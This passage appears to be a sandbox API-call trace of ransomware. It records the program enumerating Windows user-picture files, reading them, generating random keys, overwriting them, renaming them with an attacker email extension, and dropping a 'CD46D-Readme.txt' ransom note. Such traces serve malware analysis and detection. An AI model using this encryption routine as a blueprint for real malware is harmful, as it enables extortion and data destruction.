ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0065.824] wcscmp (_String1="usertile38.bmp", _String2=".") returned 1 [0065.824] wcscmp (_String1="usertile38.bmp", _String2="..") returned 1 [0065.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e848 [0065.824] wcscpy (in: _Dest=0x43e848, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.824] wcscat (in: _Dest=0x43e848, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.824] wcscat (in: _Dest=0x43e848, _Source="usertile38.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" [0065.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1674 [0065.825] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0065.825] wcscmp (_String1="usertile39.bmp", _String2=".") returned 1 [0065.825] wcscmp (_String1="usertile39.bmp", _String2="..") returned 1 [0065.825] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e7a0 [0065.825] wcscpy (in: _Dest=0x43e7a0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.825] wcscat (in: _Dest=0x43e7a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.825] wcscat (in: _Dest=0x43e7a0, _Source="usertile39.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" [0065.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678 [0065.826] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0065.826] wcscmp (_String1="usertile40.bmp", _String2=".") returned 1 [0065.826] wcscmp (_String1="usertile40.bmp", _String2="..") returned 1 [0065.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e5a8 [0065.826] wcscpy (in: _Dest=0x43e5a8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.826] wcscat (in: _Dest=0x43e5a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.826] wcscat (in: _Dest=0x43e5a8, _Source="usertile40.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" [0065.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e5a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x167c [0065.827] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0065.827] wcscmp (_String1="usertile41.bmp", _String2=".") returned 1 [0065.828] wcscmp (_String1="usertile41.bmp", _String2="..") returned 1 [0065.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e500 [0065.828] wcscpy (in: _Dest=0x43e500, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.828] wcscat (in: _Dest=0x43e500, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.828] wcscat (in: _Dest=0x43e500, _Source="usertile41.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" [0065.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1680 [0065.829] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0065.829] wcscmp (_String1="usertile42.bmp", _String2=".") returned 1 [0065.829] wcscmp (_String1="usertile42.bmp", _String2="..") returned 1 [0065.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e458 [0065.829] wcscpy (in: _Dest=0x43e458, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.829] wcscat (in: _Dest=0x43e458, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.829] wcscat (in: _Dest=0x43e458, _Source="usertile42.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" [0065.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1684 [0065.830] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0065.830] wcscmp (_String1="usertile43.bmp", _String2=".") returned 1 [0065.830] wcscmp (_String1="usertile43.bmp", _String2="..") returned 1 [0065.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f178 [0065.830] wcscpy (in: _Dest=0x43f178, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.830] wcscat (in: _Dest=0x43f178, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.830] wcscat (in: _Dest=0x43f178, _Source="usertile43.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" [0065.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688 [0065.831] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0065.831] wcscmp (_String1="usertile44.bmp", _String2=".") returned 1 [0065.831] wcscmp (_String1="usertile44.bmp", _String2="..") returned 1 [0065.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f0d0 [0065.832] wcscpy (in: _Dest=0x43f0d0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.832] wcscat (in: _Dest=0x43f0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.832] wcscat (in: _Dest=0x43f0d0, _Source="usertile44.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" [0065.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c [0065.833] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0065.833] FindClose (in: hFindFile=0x4402a0 | out: hFindFile=0x4402a0) returned 1 [0065.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x485248) returned 1 [0065.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416540) returned 1 [0065.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446880) returned 1 Thread: id = 254 os_tid = 0x918 [0046.856] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 0x20 [0049.765] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 1 [0049.765] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x61c [0049.765] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x79ffbd0 | out: lpFileSize=0x79ffbd0*=49208) returned 1 [0049.765] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.765] ReadFile (in: hFile=0x61c, lpBuffer=0x79ffb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x79ffb50, lpOverlapped=0x0 | out: lpBuffer=0x79ffb54*, lpNumberOfBytesRead=0x79ffb50*=0x4, lpOverlapped=0x0) returned 1 [0049.767] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d20 [0049.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419e38 [0049.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b68 [0049.767] NtQuerySystemTime (in: CurrentTime=0x79ffb30 | out: CurrentTime=0x79ffb30*=132174898137408000) returned 0x0 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x36175dc [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x3768d89c [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x6d39760a [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x78460705 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x224fb360 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x17d9c83 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x4a2d4e26 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0xa6a2f70 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0xd559bae [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x52d17857 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x4f143270 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x784b6da [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x2ab592eb [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x6b8ad657 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x4780491e [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x6269de41 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x8617cb4 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x510622c3 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x135eb67e [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x7603154e [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x11f05b8f [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x70fa9998 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x78ce5ad8 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x17660603 [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x2deedcfc [0049.767] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x33c88037 [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x768e1b8b [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x389a2065 [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x7f3bab37 [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x57c3f1f9 [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x148e5f24 [0049.768] RtlRandomEx (in: Seed=0x79ffb3c | out: Seed=0x79ffb3c) returned 0x7d828c8b [0049.779] ReadFile (in: hFile=0x61c, lpBuffer=0x4bafd8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x79ffb2c, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesRead=0x79ffb2c*=0xc038, lpOverlapped=0x0) returned 1 [0049.781] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.781] WriteFile (in: hFile=0x61c, lpBuffer=0x4c77e0*, nNumberOfBytesToWrite=0xc038, lpNumberOfBytesWritten=0x79ffb28, lpOverlapped=0x0 | out: lpBuffer=0x4c77e0*, lpNumberOfBytesWritten=0x79ffb28*=0xc038, lpOverlapped=0x0) returned 1 [0055.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0268 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c77e0) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef270) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x95d0268 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402960 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef270 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x95d0740 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0290 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0290) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef270) returned 1 [0055.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x103) returned 0x423da8 [0055.448] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.448] WriteFile (in: hFile=0x61c, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x79ffb90, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x79ffb90*=0x103, lpOverlapped=0x0) returned 1 [0056.844] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0056.844] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419e38) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b90) returned 1 [0056.845] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419eb0) returned 1 [0056.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d398 [0056.845] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0056.845] wcscat (in: _Dest=0x12f4d398, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0056.845] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x79ffb48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40db20 [0057.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0057.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efc4d8) returned 1 [0057.394] NtQueryInformationFile (in: FileHandle=0x61c, IoStatusBlock=0x79ffb54, FileInformation=0x79ffb2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x79ffb54, FileInformation=0x79ffb2c) returned 0x0 [0057.394] NtSetInformationFile (FileHandle=0x61c, IoStatusBlock=0x79ffb54, FileInformation=0x79ffb2c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.396] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d398) returned 1 [0057.396] FlushFileBuffers (hFile=0x61c) returned 1 [0057.403] CloseHandle (hObject=0x61c) returned 1 [0057.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29fb8 [0057.404] wcscpy (in: _Dest=0x12e29fb8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0057.404] wcscat (in: _Dest=0x12e29fb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt" [0057.404] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\CD46D-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\cd46d-readme.txt")) returned 0x2020 [0057.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29fb8) returned 1 [0057.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400018) returned 1 Thread: id = 255 os_tid = 0x8e0 [0046.856] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 0x20 [0046.856] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 1 [0048.773] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x578 [0048.773] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x7b8fb78 | out: lpFileSize=0x7b8fb78*=49208) returned 1 [0048.773] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0xc034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.773] ReadFile (in: hFile=0x578, lpBuffer=0x7b8fafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b8faf8, lpOverlapped=0x0 | out: lpBuffer=0x7b8fafc*, lpNumberOfBytesRead=0x7b8faf8*=0x4, lpOverlapped=0x0) returned 1 [0048.774] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0048.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8b8 [0048.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8e0 [0048.774] NtQuerySystemTime (in: CurrentTime=0x7b8fad8 | out: CurrentTime=0x7b8fad8*=132174898127580000) returned 0x0 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x7e1f2d05 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0xd1cb6f0 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x7643ff70 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x6cdf09d2 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x511c52e9 [0048.774] RtlRandomEx (in: Seed=0x7b8fae4 | out: Seed=0x7b8fae4) returned 0x3d8778db [0048.774] RtlRandomEx (in: 